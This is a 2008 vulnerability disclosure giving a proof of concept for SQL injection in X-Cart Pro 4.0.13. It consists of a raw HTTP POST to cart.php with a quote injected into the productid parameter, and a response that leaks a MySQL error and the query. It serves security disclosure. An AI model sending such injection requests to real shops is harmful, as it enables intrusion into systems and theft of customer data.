X-Cart Pro v4.0.13 SQL Injection Proof of Concept

Discovered By:  s4squatch of SecureState R&D Team (www.securestate.com)

Discovered: Mon, 08 Sep 2008 20:29:07 GMT

Version:  4.0.13 obtained from www.website.com/README

 

Can't find reference to this old vuln elsewhere...

Ref's:

http://securitytracker.com/alerts/2005/May/1014077.html

http://www.securityfocus.com/bid/13817/exploit

 

 

Proof of Concept:

 

REQUEST:

========

POST /cart.php?mode=add HTTP/1.1

Host: www.website.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://www.website.com/product.php?productid=16&cat=0&bestseller

Cookie: store_language=US; xid=51cac653f7b0dfc3002888369aa343f9

Content-Type: application/x-www-form-urlencoded

Content-Length: 206

 

product_options%5B142%5D=302&product_options%5B180%5D=353&amount=1&mode=add&productid=16%27&cat=0&page=

 

 

 

RESPONSE:

=========

HTTP/1.1 200 OK

Date: Mon, 08 Sep 2008 20:29:07 GMT

Server: Apache/2.0.46 (CentOS)

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Mon, 08 Sep 2008 20:29:07 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/

Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com

Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com

Set-Cookie: RefererCookie=http%3A//www.website.com/home.php; expires=Sat, 07-Mar-2009 20:29:07 GMT; path=/; domain=subdomain.website.com

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 502

 

<B><FONT COLOR=DARKRED>INVALID SQL: </FONT></B>1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<BR><B><FONT COLOR=DARKRED>SQL QUERY FAILURE:</FONT></B> SELECT * FROM xcart_products_lng WHERE code='US' AND productid=16\' <BR><BR><BR>If the page is not updated in a 5 seconds, please follow this link: <A href="cart.php">continue >></A><META http-equiv="Refresh" content="0;URL=cart.php">